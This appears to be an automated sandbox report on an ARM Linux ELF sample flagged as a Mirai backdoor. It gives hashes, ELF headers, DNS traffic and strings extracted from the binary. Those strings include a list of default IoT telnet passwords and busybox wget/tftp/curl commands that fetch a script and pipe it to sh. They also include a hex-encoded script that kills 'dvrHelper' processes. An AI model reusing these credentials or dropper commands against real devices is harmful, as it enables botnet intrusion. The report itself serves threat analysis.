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Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:arm6.elf
Analysis ID:1544382
MD5:ad0b7aaee154290d61e61411997f0d7a
SHA1:0db0ee7248e60c29240e07ff3e5a0abd031ab967
SHA256:1fa9ede1e804faeef868c072ef0d408e9ed6448e00bcf29b3c7dfa1b3da8c5ff
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1544382
Start date and time:2024-10-29 10:52:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 22s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
  • VT rate limit hit for: arm6.elf
Command:/tmp/arm6.elf
PID:5427
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm6.elf (PID: 5427, Parent: 5352, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: arm6.elfReversingLabs: Detection: 36%
Source: arm6.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: arm6.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: arm6.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/arm6.elf (PID: 5427)Socket: 127.0.0.1:1234Jump to behavior
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm6.elfString found in binary or memory: http:///curl.sh
Source: arm6.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/11/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/22/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/55/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/66/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/88/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/99/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/111/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/222/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/333/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/777/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/888/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/11111/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)File opened: /proc/999/mapsJump to behavior
Source: /tmp/arm6.elf (PID: 5427)Queries kernel information via 'uname': Jump to behavior
Source: arm6.elf, 5427.1.00005619766bf000.000056197680e000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: arm6.elf, 5427.1.00005619766bf000.000056197680e000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/arm
Source: arm6.elf, 5427.1.00007fff978a4000.00007fff978c5000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: arm6.elf, 5427.1.00007fff978a4000.00007fff978c5000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
Source: arm6.elf, 5427.1.00007fff978a4000.00007fff978c5000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
arm6.elf37%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    unknown
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.sharm6.elffalse
      unknown
      http:///curl.sharm6.elffalse
        unknown
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comla.bot.arm.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.arm7.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        arm5.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.m68k.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.arm6.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.sh4.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.arm5.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.sparc.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        boatnet.arm7.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.022826906665722
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:arm6.elf
        File size:87'628 bytes
        MD5:ad0b7aaee154290d61e61411997f0d7a
        SHA1:0db0ee7248e60c29240e07ff3e5a0abd031ab967
        SHA256:1fa9ede1e804faeef868c072ef0d408e9ed6448e00bcf29b3c7dfa1b3da8c5ff
        SHA512:5977739638d5a0e8f5c2833c1eee7aac8a2d57b78a56138041d87246b48bf2f3ede56fa18ea1b394cf8c4003cc8a2e05a2871b7d9e1879b6882b0c0a4a35f0ef
        SSDEEP:1536:iHnhCdtirKG5D3tD9tIK1QLTSGCY4dS7yOvr2zLUCDBixRHxH8x/pzSnzsT:5dtirKG5D3tDB1QLTSGCY4QfvDRHxH8C
        TLSH:2D83F85AB981CE16C5C846BEFE0F918E332367A8E3DF7213DD246B10378A55B0A7B451
        File Content Preview:.ELF..............(.....T...4...lT......4. ...(.....................,K..,K...............P...P...P......xi..........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..T.......P....-.@0....S

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:ARM
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x8154
        Flags:0x4000002
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:87148
        Section Header Size:40
        Number of Section Headers:12
        Header String Table Index:11
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x80940x940x100x00x6AX004
        .textPROGBITS0x80b00xb00x12ad40x00x6AX0016
        .finiPROGBITS0x1ab840x12b840x100x00x6AX004
        .rodataPROGBITS0x1ab940x12b940x1f980x00x2A004
        .eh_framePROGBITS0x250000x150000x40x00x3WA004
        .init_arrayINIT_ARRAY0x250040x150040x40x00x3WA004
        .fini_arrayFINI_ARRAY0x250080x150080x40x00x3WA004
        .gotPROGBITS0x250100x150100x740x40x3WA004
        .dataPROGBITS0x250840x150840x3900x00x3WA004
        .bssNOBITS0x254140x154140x65640x00x3WA004
        .shstrtabSTRTAB0x00x154140x570x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x80000x80000x14b2c0x14b2c6.09130x5R E0x8000.init .text .fini .rodata
        LOAD0x150000x250000x250000x4140x69784.10260x6RW 0x8000.eh_frame .init_array .fini_array .got .data .bss
        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
        TimestampSource PortDest PortSource IPDest IP
        Oct 29, 2024 10:52:55.171528101 CET5981953192.168.2.131.1.1.1
        Oct 29, 2024 10:52:55.171529055 CET5716353192.168.2.131.1.1.1
        Oct 29, 2024 10:52:55.264261007 CET53571631.1.1.1192.168.2.13
        Oct 29, 2024 10:52:55.264601946 CET53598191.1.1.1192.168.2.13
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Oct 29, 2024 10:52:55.171528101 CET192.168.2.131.1.1.10x2b06Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Oct 29, 2024 10:52:55.171529055 CET192.168.2.131.1.1.10x6545Standard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Oct 29, 2024 10:52:55.264601946 CET1.1.1.1192.168.2.130x2b06No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
        Oct 29, 2024 10:52:55.264601946 CET1.1.1.1192.168.2.130x2b06No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):09:52:52
        Start date (UTC):29/10/2024
        Path:/tmp/arm6.elf
        Arguments:/tmp/arm6.elf
        File size:4956856 bytes
        MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1